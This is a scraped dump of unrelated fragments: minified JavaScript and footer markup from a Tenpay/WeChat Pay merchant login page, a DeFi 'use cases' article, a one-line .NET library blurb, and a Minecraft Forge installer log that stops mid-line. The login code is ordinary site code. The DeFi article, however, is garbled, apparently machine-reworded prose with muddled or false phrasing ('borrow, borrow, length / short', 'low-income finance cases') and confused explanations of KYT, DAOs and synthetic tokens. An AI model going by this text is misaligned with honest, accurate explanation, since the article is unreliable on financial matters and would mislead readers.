7:MCH.home.ossAttrIncAPI(63769,25);break;case 8:MCH.home.ossAttrIncAPI(63769,26);break;case 9:MCH.home.ossAttrIncAPI(63769,27);break;case 10:MCH.home.ossAttrIncAPI(63769,28);break;default:MCH.home.ossAttrIncAPI(63769,29);break;} var ua=navigator.userAgent.toLowerCase();var reg=/[Aa]ndroid/;if(reg.test(ua)){MCH.home.ossAttrIncAPI(63769,31);}else{MCH.home.ossAttrIncAPI(63769,32);}};MCH.home.bind=function(){$("input[name=username]").focus();if($getCookie("username")){MCH.home.ossAttrIncAPI(63769,30);$("input[name=username]").val($getCookie("username"));$("#memory_username").addClass('cbx-on');} $("input[name=username]").on('focus',function(){MCH.home.ossAttrIncAPI(63769,17);$(".login-form").removeClass("login-password-on");$(".login-form").addClass("login-account-on");});$("input[name=password]").on('focus',function(){$(".login-form").removeClass("login-account-on");$(".login-form").addClass("login-password-on");homeThat.tenpayEdit.show();});$("input[name=username]").on('blur',function(){MCH.home.userNameBlur();$(".login-form").removeClass("login-account-on");$(".login-form").addClass("login-password-on");homeThat.tenpayEdit.show();});$("#memory_username_label").on('click',function(){if($('#memory_username').hasClass('cbx-on')){$('#memory_username').removeClass('cbx-on');}else{$('#memory_username').addClass('cbx-on');}});$("#do_login").on('click',function(){$("#errmsg").text("").addClass('hide');var temp_usrname=$(".login-form").find("input[name=username]").val();$(".login-form").find("input[name=username]").val($strTrim(temp_usrname));if($("#memory_username").hasClass('cbx-on')){$setCookie('username',$("input[name=username]").val(),'3600');}else{$setCookie('username',$("input[name=username]").val());} var username=$(".login-form").find("input[name=username]").val();var password=$(".login-form").find("input[name=password]").val();password=homeThat.tenpayEdit.getPwd();if(username&&password){password=Common.encryptPassword(password);if($(".login-verify").html()){if($("input[name=checkword_in]").val()){if($("input[name=checkword_in]").val().length!=4){$("#errmsg").text('请检查验证码').removeClass('hide');}else{$(".login-form").find("input[name=password]").val(password);$(".login-form").submit();}} else{$("#errmsg").text('请输入验证码').removeClass('hide');}}else{$(".login-form").find("input[name=password]").val(password);$(".login-form").submit();}}else{if(username.length==0&&password===false){$("#errmsg").text('请输入帐号和密码').removeClass('hide');}else if(username.length==0){$("#errmsg").text('请输入登录帐号').removeClass('hide');}else{$("#errmsg").text(homeThat.tenpayEdit.errmsg).removeClass('hide');}}});};MCH.home.init(); window['MCH.home']='22134:20140516:20170105201629'; window['MCH.home.time'] && window['MCH.home.time'].push(new Date()); </script><!--[if !IE]>|xGv00|6f5e5c77fe153f6e42ad173204c021c5<![endif]--> <script>window["MCH.cms.time"]=[new Date()]</script> <script id="legos:22392" ver="22392:20151027:20160810123858" name="MCH.cms" src="https://wx.gtimg.com/mch/js/ver/2015/10/mch.cms.20151027.js?t=20160810123858" charset="utf-8"></script><!--[if !IE]>|xGv00|b299de016a6e1f795625ccbc51c6c029<![endif]--> <!-- 底部[[ --> <div class="footer"> <div class="wrap"> <p> <a target="_blank" href="http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=1&type=0">关于财付通</a> <i class="vs">|</i> <a target="_blank" href="https://pay.weixin.qq.com/index.php/core/home/pay_pact_v4">平台使用协议</a> <i class="vs">|</i> <a href="https://pay.weixin.qq.com/index.php/public/apply_sign/protocol_v2" target="_blank">支付服务协议</a> <i class="vs">|</i> Powered By Tencent & Tenpay Copyright© 2005-<script> var year=""; mydate=new Date(); myyear=mydate.getYear(); year=(myyear > 200) ? myyear : 1900 + myyear; document.write(year); </script>2017 Tenpay All Rights Reserved. </p> <p> <a target="_blank" href="http://weixin.qq.com/">微信</a> <i class="vs">|</i> <a target="_blank" href="https://mp.weixin.qq.com/">微信公众平台</a> <i class="vs">|</i> <a target="_blank" href="https://open.weixin.qq.com/">微信开放平台</a> <i class="vs">|</i> <a target="_blank" href="http://e.qq.com/">广点通</a> <i class="vs">|</i> <a target="_blank" href="http://open.qq.com/">腾讯开放平台</a> </p> </div> </div> <script type="text/javascript">if(typeof $jqueryUi == "undefined"){document.write('<script type="text/javascript" src="https://wx.gtimg.com/third/jquery/jquery-ui.js"></script"+">');}</script><script type="text/javascript" src="https://wx.gtimg.com/third/jquery/jquery-ui.js"></script"+"> <script>window["MCH.footer.time"]=[new Date()]</script> <script id="legos:22125" ver="22125:20140422:20161206161027" name="MCH.footer" charset="utf-8"> window['MCH.footer.time'] && window['MCH.footer.time'].push(new Date()); function $addToken(url,type,skey){var token=$getToken(skey);if(url==""||(url.indexOf("://")<0?location.href:url).indexOf("http")!=0){return url;} if(url.indexOf("#")!=-1){var f1=url.match(/\?.+\#/);if(f1){var t=f1[0].split("#"),newPara=[t[0],"&g_tk=",token,"&g_ty=",type,"#",t[1]].join("");return url.replace(f1[0],newPara);}else{var t=url.split("#");return[t[0],"?g_tk=",token,"&g_ty=",type,"#",t[1]].join("");}} return token==""?(url+(url.indexOf("?")!=-1?"&":"?")+"g_ty="+type):(url+(url.indexOf("?")!=-1?"&":"?")+"g_tk="+token+"&g_ty="+type);};var $ajax=(function(window,undefined){var oXHRCallbacks,xhrCounter=0;var fXHRAbortOnUnload=window.ActiveXObject?function(){for(var key in oXHRCallbacks){oXHRCallbacks[key](0,1);}}:false;return function(opt){var o={url:'',method:'GET',data:null,type:"text",async:true,cache:false,timeout:0,autoToken:true,username:'',password:'',beforeSend:$empty(),onSuccess:$empty(),onError:$empty(),onComplete:$empty()};for(var key in opt){o[key]=opt[key]} var callback,timeoutTimer,xhrCallbackHandle,ajaxLocation,ajaxLocParts;try{ajaxLocation=location.href;} catch(e){ajaxLocation=document.createElement("a");ajaxLocation.href="";ajaxLocation=ajaxLocation.href;} ajaxLocParts=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/.exec(ajaxLocation.toLowerCase())||[];o.isLocal=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/.test(ajaxLocParts[1]);o.method=(typeof(o.method)!="string"||o.method.toUpperCase()!="POST")?"GET":"POST";o.data=(typeof o.data=="string")?o.data:$makeUrl(o.data);if(o.method=='GET'&&o.data){o.url+=(o.url.indexOf("?")<0?"?":"&")+o.data;} if(o.autoToken){o.url=$addToken(o.url,"ajax");} o.xhr=$xhrMaker();if(o.xhr===null){return false;} try{if(o.username){o.xhr.open(o.method,o.url,o.async,o.username,o.password);} else{o.xhr.open(o.method,o.url,o.async);}} catch(e){o.onError(-2,e);return false;} if(o.method=='POST'){o.xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');} if(!o.cache){o.xhr.setRequestHeader('If-Modified-Since','Thu, 1 Jan 1970 00:00:00 GMT');o.xhr.setRequestHeader('Cache-Control','no-cache');} o.beforeSend(o.xhr);if(o.async&&o.timeout>0){if(o.xhr.timeout===undefined){timeoutTimer=setTimeout(function(){if(o.xhr&&callback){callback(0,1);} o.onError(0,null,'timeout');},o.timeout);} else{o.xhr.timeout=o.timeout;o.xhr.ontimeout=function(){if(o.xhr&&callback){callback(0,1);} o.onError(0,null,'timeout');};}} o.xhr.send(o.method=='POST'?o.data:null);callback=function(e,isAbort){if(timeoutTimer){clearTimeout(timeoutTimer);timeoutTimer=undefined;} if(callback&&(isAbort||o.xhr.readyState===4)){callback=undefined;if(xhrCallbackHandle){o.xhr.onreadystatechange=$empty();if(fXHRAbortOnUnload){try{delete oXHRCallbacks[xhrCallbackHandle];} catch(e){}}} if(isAbort){if(o.xhr.readyState!==4){o.xhr.abort();}} else{var status,statusText,responses;responses={headers:o.xhr.getAllResponseHeaders()};status=o.xhr.status;try{statusText=o.xhr.statusText;} catch(e){statusText="";} try{responses.text=o.xhr.responseText;} catch(e){responses.text="";} if(!status&&o.isLocal){status=responses.text?200:404;} else if(status===1223){status=204;} if(status>=200&&status<300){responses.text=responses.text.replace(/<!--\[if !IE\]>[\w\|]+<!\[endif\]-->/g,'');switch(o.type){case'text':o.onSuccess(responses.text);break;case"json":var json;try{json=(new Function("return ("+responses.text+")"))();} catch(e){o.onError(status,e,responses.text);} if(json){o.onSuccess(json);} break;case"xml":o.onSuccess(o.xhr.responseXML);break;}} else{if(status===0&&o.timeout>0){o.onError(status,null,'timeout');} else{o.onError(status,null,statusText);}} o.onComplete(status,statusText,responses);} delete o.xhr;}};if(!o.async){callback();} else if(o.xhr.readyState===4){setTimeout(callback,0);} else{xhrCallbackHandle=++xhrCounter;if(fXHRAbortOnUnload){if(!oXHRCallbacks){oXHRCallbacks={};if(window.attachEvent){window.attachEvent("onunload",fXHRAbortOnUnload);} else{window["onunload"]=fXHRAbortOnUnload;}} oXHRCallbacks[xhrCallbackHandle]=callback;} o.xhr.onreadystatechange=callback;}};})(window,undefined);function $empty(){return function(){return true;}};function $getCookie(name){var reg=new RegExp("(^| )"+name+"(?:=([^;]*))?(;|$)"),val=document.cookie.match(reg);return val?(val[2]?unescape(val[2]):""):null;};function $getToken(skey){var skey=skey?skey:$getCookie("skey");return skey?$time33(skey):"";};function $makeUrl(data){var arr=[];for(var k in data){arr.push(k+"="+data[k]);};return arr.join("&");};function $namespace(name){for(var arr=name.split(','),r=0,len=arr.length;r<len;r++){for(var i=0,k,name=arr[r].split('.'),parent={};k=name[i];i++){i===0?eval('(typeof '+k+')==="undefined"?('+k+'={}):"";parent='+k):(parent=parent[k]=parent[k]||{});}}};function $time33(str){for(var i=0,len=str.length,hash=5381;i<len;++i){hash+=(hash<<5)+str.charAt(i).charCodeAt();};return hash&0x7fffffff;};function $xhrMaker(){var xhr;try{xhr=new XMLHttpRequest();}catch(e){try{xhr=new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{xhr=new ActiveXObject("Microsoft.XMLHTTP");}catch(e){xhr=null;}}};return xhr;};$namespace("MCH.footer");MCH.footer={searchChildMerchantTimer:'',searchChildMerchantName:'',protocolDG:'',protocolCbx:'',protocolBtn:''};MCH.footer.init=function(){footerThat=this;footerThat.bind();footerThat.changeVerify();MCH.footer.protocolDG=Common.getPop('MchProtocolDG');MCH.footer.protocolBtn=$('#MchProtocolBn');MCH.footer.protocolCbx=Common.getCbx({id:'MchProtocolCbx',onCheck:function(){MCH.footer.protocolBtn.removeClass('btn-default').addClass('btn-primary');},onUnCheck:function(){MCH.footer.protocolBtn.removeClass('btn-primary').addClass('btn-default');}});MCH.footer.checkSignProtocol();};MCH.footer.bind=function(){footerThat.bindChangeCheckimg();footerThat.bindDatepicker();MCH.header.bindCloseDialog();footerThat.bindSelect();$('#MchProtocolBn').on('click',function(){if(MCH.footer.protocolCbx.isCheck()){var postData=Common.getCrsfToken();var ret=false;$ajax({url:'/index.php/core/merchant/sign_mch_protocol',data:postData,method:'post',type:'json',async:false,onSuccess:function(data){MCH.header.handleAjax(data);if(data.errorcode!=0){ret=false;}else{ret=true;}},onError:function(msg){ret=false;}});if(!ret){MCH.header.showErrorAlertDialog('操作失败,请稍后重试');}else{MCH.footer.protocolDG.close();}}});};MCH.footer.changeVerify=function(){if($(".img-verify").size()>0){$(".img-verify").attr("src","http://captcha.qq.com/getimage?aid=755049101&rd="+Math.random());}};MCH.footer.bindChangeCheckimg=function(){$(".change-verify").on('click',function(){footerThat.changeVerify();});$(".checkimg-input").on('keydown',function(){var value=$(this).val();result=false;if(value.length==4){var token_name=$("#token").attr("name");var hash=$("#token").val();var post_data=token_name+'='+hash+'&verify_word='+value;$ajax({url:'/index.php/core/home/vaild_checkimg',data:post_data,method:'post',type:'json',async:false,onSuccess:function(data){if(data.errorcode==0){result=true;}else{}},onError:function(msg){result=false;}});}});};MCH.footer.bindDatepicker=function(timepicker){if($(".datepicker-input").size()<=0){return false;} false?$jqueryUi():'';timepicker=timepicker?true:false;var format='Y-m-d';if(timepicker){format='Y-m-d H:i';} $('.datepicker-input').datetimepicker({defaultTime:'00:00:00',step:1,format:format,lang:'ch',timepicker:timepicker,yearStart:1970,closeOnDateSelect:true});$("input.datepicker-input").next("i.ico-date").on('click',function(){$(this).prev('input.datepicker-input').focus();});};MCH.footer.bindSelect=function(){$("div.dropdown-menu").on('click',function(){$(this).addClass('open');});$("ul.dropdown-list").on('click','li',function(){var value=$(this).children("a").attr('data-target');var text=$(this).children("a").text();var drop_switch=$(this).parent().prev("a.dropdown-switch");drop_switch.attr('data-target',value);drop_switch.children('label').text(text);var id=drop_switch.children('label').attr('id');var name=drop_switch.children('label').html();$(this).parent().parent().removeClass('open');typeof SelectCallBack=='function'&&SelectCallBack(id,name);return false;});$("div.dropdown-menu").mouseleave(function(){if($(this).hasClass('open')){$(this).removeClass('open');}});};MCH.footer.searchChildMerchant=function(params){var obj=params['obj'];var value=obj.val();if(value!=MCH.footer.searchChildMerchantName){return false;} var merchants={};var curpage=params['curpage'];var total_page=1;var isAppend=params['isAppend'];var list=obj.parent().parent().children('ul.dropdown-list');if(!isAppend){list.children().remove();} var token_name=$("#token").attr("name");var hash=$("#token").val();var post_data=token_name+'='+hash+'&merchant_name='+value+'&page_num='+curpage;$ajax({url:'/index.php/extend/child_merchant/query_merchant_by_name',data:post_data,method:'post',type:'json',async:true,onSuccess:function(data){if(data.errorcode==0){merchants=data.data.list;curpage=data.data.curpage;total_page=data.data.total_page;for(var key in merchants){var model='<li><a href="#" data-target="'+key+'">'+merchants[key]+'</a></li>';list.append(model);} if(curpage<total_page){var nextPage=parseInt(curpage,10)+1;var model='<dl class="jsDropDownLiMerchantMore"><a href="#" data-target="'+nextPage+'">获取更多子商户</a></dl>';list.append(model);}}},onError:function(msg){}});};MCH.footer.checkSignProtocol=function(){var whiteUrl=['/index.php/core/home','/index.php/core/apply_progress','/index.php/core/apply_bank','/index.php/core/apply_sign','/index.php/core/merchantupgrading','/index.php/core/submerchant/create_sub_merchant','/index.php/public/cms'];var localtion=window.location.pathname;prefix='/index.php';if(localtion.substr(0,prefix.length)!=prefix){localtion=prefix+localtion;} for(var i=0;i<whiteUrl.length;i++){if(localtion.substr(0,whiteUrl[i].length)==whiteUrl[i]){return;}} var postData=Common.getCrsfToken();$ajax({url:'/index.php/public/merchant/check_sign_protocol',data:postData,method:'post',type:'json',async:true,onSuccess:function(data){MCH.header.handleAjax(data);if(data.errorcode!=0){MCH.footer.protocolDG.open();}},onError:function(msg){}});};MCH.footer.init(); window['MCH.footer']='22125:20140422:20161206161027'; window['MCH.footer.time'] && window['MCH.footer.time'].push(new Date()); </script><!--[if !IE]>|xGv00|f223e6d2e6d5217ac8b233a5d7602c18<![endif]--> <script>TA_STATS_ARGS={}</script> <script type="text/javascript" src="https://tajs.qq.com/res/js/wechatpay.min.js" charset="UTF−8"></script> <!-- <script type="text/javascript" src="https://res.wx.qq.com/payactres/zh_CN/htmledition/js/lib/analysis/2.0/lib-min.js" charset="UTF−8" async="async" defer="defer"></script> --> <!--[if !IE]>|xGv00|f5ede3a717a9f61ace3f2ab9101502d0<![endif]--> <!-- 底部 ]] --> <script language="javascript" src="https://pingjs.qq.com/tcss.ping.https.js"></script> <script language="javascript"> if(typeof(pgvMain) == 'function') pgvMain(); </script> <!--[if !IE]>|xGv00|d554775be84487e94ed910def6bb127d<![endif]--></body></html>
AyushmanTyagi / Decentralized Finance It S Use CasesDecentralized Finance & It's use cases- DeFi (Decentralized Finance) Another open-world approach to the current financial system. Products that allow you to borrow, save, invest, trade, and more. Based on open source technology anyone can plan with. DeFi is an open and global financial system that has been built for years - another way of being a sharp, tightly managed, and cohesive system of decades-old infrastructure and processes. It gives you more control and visibility than your money. It gives you exposure to global markets and other options for your local currency or banking options. DeFi products open financial services to anyone with an internet connection and are highly managed and maintained by their users. To date, tens of billions of dollars worth of crypto have gone through DeFi applications and is growing every day. What is DeFi? DeFi is an integrated name for financial products and services accessible to anyone who can use Ethereum - anyone with an Internet connection. With DeFi, markets remain open and no central authorities can block payments or deny you access to anything. Services that used to be slow and vulnerable to human error are now automated and secure as they are governed by a code that anyone can check and evaluate. There is a thriving crypto-economy out there, where you can borrow, borrow, length / short, earn interest, and more. Crypto-savvy Argentinians have used DeFi to escape inflation. Companies have begun distributing their pay to their employees in real-time. Some people even withdraw and repay loans worth millions of dollars without the need for personal information. DeFi vs Traditional Finance One of the best ways to see the power of DeFi is to understand the problems that exist today. Some people are not given access to setting up a bank account or using financial services. Lack of access to financial services can prevent people from being employed. Financial services can prevent you from paying. Hidden payment for financial services is your data. Governments and private institutions can close markets at will. Trading hours are usually limited to one-hour business hours. Transfers may take days due to personal processes. There is a premium for financial services because mediation institutions require their cutting. DeFi Use Cases DeFi has revolutionized the financial world over the past few years. This new approach to financial planning can transcend asset systems through efficiency and security. It is true that there are certain dangers in DeFi but those are within the concrete limits. Let's take a look at the most effective DeFi usage cases - Asset Management One of DeFi's biggest effects is that users can now enjoy more control over their assets. Many DeFi projects provide solutions that allow users to manage their assets, including - buying, selling, and transferring digital assets. Therefore, users can also earn interest on their digital assets. Contrary to the traditional financial system, DeFi allows users to maintain the privacy of their sensitive information. Think of the secret keys or passwords of your financial accounts - you should have shared that information with the appropriate organizations beforehand. Now, different DeFi projects, such as Metamask, Argent, or Gnosis Safe help users encrypt and store those pieces of information on their devices. This ensures that only users have access to their accounts and can manage their assets. Therefore, asset management is one of the most widely used financial services cases for users. Compliance with AML and CFT Rates through the KYT Mechanism Traditional financial systems focus heavily on Know-Your-Customer (KYC) agreements. KYC Guidelines are its major law enforcement tool for using Anti-Money Laundering (AML) and Countering-the-Financing-of-Terrorism (CFT) standards. However, KYC guidelines often conflict with DeFi's privacy efforts. DeFi responds to this problem with a new concept called the Know-Your-Transaction (KYT) mechanism. This approach suggests that low-level infrastructure will focus on ethical behavior for digital addresses rather than user considerations. Therefore, KYT solves two issues simultaneously - monitoring real-time operations and ensuring user privacy. This makes KYT one of the biggest gaps in low-cost cases. Non-Governmental Organizations or DAOs The DAOs are partners of the central financial institutions of DeFi - making it one of the pillars of low-income finance cases. In the traditional system, central financial institutions play a major role. These organizations operate as administrative institutions that regulate basic financial operations, such as monetization, asset management, administrative utilization, etc. The Ethereum blockchain echerestem has introduced empowered organizations to achieve the same goals. However, DAOs are naturally empowered and do not conform to the limits set by central governments or authorities. Analysis and Risk Tools Transparency and redistribution of world power have opened the way for the discovery and analysis of unprecedented user data. With access to this information, users can make informed business decisions, discover new financial opportunities, and implement better risk management strategies. A new type of data analytics with useful blockchain tools and dashboards has emerged in this industry trend. DeFi projects such as DeFi Pulse or CoDeFi Data bring an impressive amount of analytics and risk management tool. Now, businesses are moving faster as they enjoy unpredictable competitive advantages. This is certainly one of the most widely used financial cases. Receivables and Manufacturing Goods Smart contracts allow for the receipt of token receipts and have become one of the most distinctive scenarios for DeFi use. Making a token further means setting a contract value based on the underlying financial asset or set of assets. This underlying financial asset acts as a security measure, which means it can include - bonds, fiat currencies, commodities, market indicators, interest rates, or stock prices. Now, the issuance of outgoing tokens is a secondary security and their value varies with the number of key securities (bonds or fiat money). Thus, the output actually creates artificial goods. Synthetix and dYdX are some of the leading DeFi projects focused on token acquisitions. Network Infrastructure Effect In a DeFi ecosystem, objects within the system can connect and interact. This design feature is known as integration and serves as a protocol for infrastructure development. As a result, DeFi projects are continuously integrated with the network result. Infrastructure tools for use of DeFi applications are remarkable. Various DeFi projects, such as TruffleSuite or InfuraAPI, are good examples in this case. Enhanced Digital ID Blockchain-based identity system systems are already gaining a lot of attention in recent times. Pairing DeFi programs with these patent systems can help people access the global economic system. The traditional method rewards personal income or assets collected as credit providers. With digital identity paired with DeFi, you may be looking for other practical attributes, such as - financial services or professional ability. This new type of digital ID can help the poor to access DeFi apps from any internet connection. It can certainly be one of the cases of possible use. Insurance Insurance is one of the largest financial institutions and has already been proven to be one of the biggest charges for using DeFi. The current insurance system is crowded with paperwork, old audit plans, and bureaucratic insurance claim processes. With the successful implementation of smart contracts, all these problems with the current system can be solved. Many DeFi projects (Nexus Mutual, Opyn, and VouchForMe) provide blockchain access to insurance against DeFi or contract risk. P2P borrowing and borrowing As DeFi bids farewell to traditional banking systems, a space for the lending and lending market has emerged. Therefore, borrowing and lending is one of the most important aspects of using DeFi. However, the DeFi ecosystem is well suited for peer-to-peer (P2P) borrowing and lending efforts. Many DeFi projects have already entered the market focusing on this particular application case. Among these programs, Compound and PoolTogether are two well-known names. These projects have independent policies for lending and lending. Payment Solutions One of DeFi's top drivers was serving non-bankers or understated banks from the get-go. DeFi's natural features make it ideal for solving the problems of current global payment systems. DeFi provides fast, secure, and transparent solutions compared to asset systems. As DeFi lowers the demand for intermediaries, making payments easier and more transparent, DeFi-based blockchain-based payment solutions can appeal to non-bankers.
Metalnib / Dotnet Episteme SkillsDotNet Episteme Skills - a curated, manual-first .NET AI skills library rooted in systematic knowledge (episteme) and shaped by disciplined craft (techne), designed for engineers who prioritise precision over hype.
Parda11 / Bug FrogeJVM info: Oracle Corporation - 1.8.0_301 - 25.301-b09 java.net.preferIPv4Stack=true Found java version 1.8.0_301 Extracting json Considering minecraft client jar Downloading libraries Considering library cpw.mods:securejarhandler:0.9.46 File exists: Checksum validated. Considering library org.ow2.asm:asm:9.1 File exists: Checksum validated. Considering library org.ow2.asm:asm-commons:9.1 File exists: Checksum validated. Considering library org.ow2.asm:asm-tree:9.1 File exists: Checksum validated. Considering library org.ow2.asm:asm-util:9.1 File exists: Checksum validated. Considering library org.ow2.asm:asm-analysis:9.1 File exists: Checksum validated. Considering library net.minecraftforge:accesstransformers:8.0.4 File exists: Checksum validated. Considering library org.antlr:antlr4-runtime:4.9.1 File exists: Checksum validated. Considering library net.minecraftforge:eventbus:5.0.3 File exists: Checksum validated. Considering library net.minecraftforge:forgespi:4.0.9 File exists: Checksum validated. Considering library net.minecraftforge:coremods:5.0.1 File exists: Checksum validated. Considering library cpw.mods:modlauncher:9.0.7 File exists: Checksum validated. Considering library net.minecraftforge:unsafe:0.2.0 File exists: Checksum validated. Considering library com.electronwill.night-config:core:3.6.3 File exists: Checksum validated. Considering library com.electronwill.night-config:toml:3.6.3 File exists: Checksum validated. Considering library org.apache.maven:maven-artifact:3.6.3 File exists: Checksum validated. Considering library org.apache.commons:commons-lang3:3.8.1 File exists: Checksum validated. Considering library net.jodah:typetools:0.8.3 File exists: Checksum validated. Considering library org.apache.logging.log4j:log4j-api:2.14.1 File exists: Checksum validated. Considering library org.apache.logging.log4j:log4j-core:2.14.1 File exists: Checksum validated. Considering library net.minecrell:terminalconsoleappender:1.2.0 File exists: Checksum validated. Considering library org.jline:jline-reader:3.12.1 File exists: Checksum validated. Considering library org.jline:jline-terminal:3.12.1 File exists: Checksum validated. Considering library net.sf.jopt-simple:jopt-simple:5.0.4 File exists: Checksum validated. Considering library org.openjdk.nashorn:nashorn-core:15.1.1 File exists: Checksum validated. Considering library com.google.guava:guava:21.0 File exists: Checksum validated. Considering library com.google.code.gson:gson:2.8.0 File exists: Checksum validated. Considering library cpw.mods:bootstraplauncher:0.1.17 File exists: Checksum validated. Considering library net.minecraftforge:fmlloader:1.17.1-37.0.58 File exists: Checksum validated. Considering library com.github.jponge:lzma-java:1.3 File exists: Checksum validated. Considering library com.google.code.findbugs:jsr305:3.0.2 File exists: Checksum validated. Considering library com.google.code.gson:gson:2.8.7 File exists: Checksum validated. Considering library com.google.errorprone:error_prone_annotations:2.1.3 File exists: Checksum validated. Considering library com.google.errorprone:error_prone_annotations:2.3.4 File exists: Checksum validated. Considering library com.google.guava:failureaccess:1.0.1 File exists: Checksum validated. Considering library com.google.guava:guava:20.0 File exists: Checksum validated. Considering library com.google.guava:guava:25.1-jre File exists: Checksum validated. Considering library com.google.guava:guava:30.1-android File exists: Checksum validated. Considering library com.google.guava:listenablefuture:9999.0-empty-to-avoid-conflict-with-guava File exists: Checksum validated. Considering library com.google.j2objc:j2objc-annotations:1.1 File exists: Checksum validated. Considering library com.google.j2objc:j2objc-annotations:1.3 File exists: Checksum validated. Considering library com.google.jimfs:jimfs:1.2 File exists: Checksum validated. Considering library com.nothome:javaxdelta:2.0.1 File exists: Checksum validated. Considering library com.opencsv:opencsv:4.4 File exists: Checksum validated. Considering library commons-beanutils:commons-beanutils:1.9.3 File exists: Checksum validated. Considering library commons-collections:commons-collections:3.2.2 File exists: Checksum validated. Considering library commons-io:commons-io:2.4 File exists: Checksum validated. Considering library commons-logging:commons-logging:1.2 File exists: Checksum validated. Considering library de.oceanlabs.mcp:mcp_config:1.17.1-20210706.113038@zip File exists: Checksum validated. Considering library de.siegmar:fastcsv:2.0.0 File exists: Checksum validated. Considering library net.md-5:SpecialSource:1.10.0 File exists: Checksum validated. Considering library net.minecraftforge.lex:vignette:0.2.0.16 File exists: Checksum validated. Considering library net.minecraftforge:binarypatcher:1.0.12 File exists: Checksum validated. Considering library net.minecraftforge:fmlcore:1.17.1-37.0.58 File exists: Checksum validated. Considering library net.minecraftforge:fmlloader:1.17.1-37.0.58 File exists: Checksum validated. Considering library net.minecraftforge:forge:1.17.1-37.0.58:universal File exists: Checksum validated. Considering library net.minecraftforge:installertools:1.2.7 File exists: Checksum validated. Considering library net.minecraftforge:jarsplitter:1.1.4 File exists: Checksum validated. Considering library net.minecraftforge:javafmllanguage:1.17.1-37.0.58 File exists: Checksum validated. Considering library net.minecraftforge:mclanguage:1.17.1-37.0.58 File exists: Checksum validated. Considering library net.minecraftforge:srgutils:0.4.3 File exists: Checksum validated. Considering library net.sf.jopt-simple:jopt-simple:5.0.4 File exists: Checksum validated. Considering library org.apache.commons:commons-collections4:4.2 File exists: Checksum validated. Considering library org.apache.commons:commons-lang3:3.8.1 File exists: Checksum validated. Considering library org.apache.commons:commons-text:1.3 File exists: Checksum validated. Considering library org.cadixdev:atlas:0.2.2 File exists: Checksum validated. Considering library org.cadixdev:bombe-asm:0.3.5 File exists: Checksum validated. Considering library org.cadixdev:bombe:0.3.5 File exists: Checksum validated. Considering library org.cadixdev:lorenz-asm:0.5.7 File exists: Checksum validated. Considering library org.cadixdev:lorenz:0.5.7 File exists: Checksum validated. Considering library org.checkerframework:checker-compat-qual:2.5.5 File exists: Checksum validated. Considering library org.checkerframework:checker-qual:2.0.0 File exists: Checksum validated. Considering library org.codehaus.mojo:animal-sniffer-annotations:1.14 File exists: Checksum validated. Considering library org.ow2.asm:asm-analysis:9.1 File exists: Checksum validated. Considering library org.ow2.asm:asm-commons:9.1 File exists: Checksum validated. Considering library org.ow2.asm:asm-tree:9.1 File exists: Checksum validated. Considering library org.ow2.asm:asm:9.1 File exists: Checksum validated. Considering library trove:trove:1.0.2 File exists: Checksum validated. Created Temporary Directory: C:\Users\USER-PC\AppData\Local\Temp\forge_installer8166668735222705055 Extracting: /data/client.lzma Building Processors =============================================================================== MainClass: net.minecraftforge.installertools.ConsoleTool Classpath: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraftforge\installertools\1.2.7\installertools-1.2.7.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\md-5\SpecialSource\1.10.0\SpecialSource-1.10.0.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\sf\jopt-simple\jopt-simple\5.0.4\jopt-simple-5.0.4.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\code\gson\gson\2.8.7\gson-2.8.7.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\siegmar\fastcsv\2.0.0\fastcsv-2.0.0.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraftforge\srgutils\0.4.3\srgutils-0.4.3.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-commons\9.1\asm-commons-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\guava\guava\20.0\guava-20.0.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\opencsv\opencsv\4.4\opencsv-4.4.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-analysis\9.1\asm-analysis-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-tree\9.1\asm-tree-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm\9.1\asm-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\apache\commons\commons-text\1.3\commons-text-1.3.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\apache\commons\commons-lang3\3.8.1\commons-lang3-3.8.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\commons-beanutils\commons-beanutils\1.9.3\commons-beanutils-1.9.3.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\apache\commons\commons-collections4\4.2\commons-collections4-4.2.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\commons-logging\commons-logging\1.2\commons-logging-1.2.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\commons-collections\commons-collections\3.2.2\commons-collections-3.2.2.jar Args: --task, MCP_DATA, --input, C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\oceanlabs\mcp\mcp_config\1.17.1-20210706.113038\mcp_config-1.17.1-20210706.113038.zip, --output, C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\oceanlabs\mcp\mcp_config\1.17.1-20210706.113038\mcp_config-1.17.1-20210706.113038-mappings.txt, --key, mappings Task: MCP_DATA Input: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\oceanlabs\mcp\mcp_config\1.17.1-20210706.113038\mcp_config-1.17.1-20210706.113038.zip Output: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\oceanlabs\mcp\mcp_config\1.17.1-20210706.113038\mcp_config-1.17.1-20210706.113038-mappings.txt Key: mappings Extracting: config/joined.tsrg =============================================================================== MainClass: net.minecraftforge.installertools.ConsoleTool Classpath: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraftforge\installertools\1.2.7\installertools-1.2.7.jar 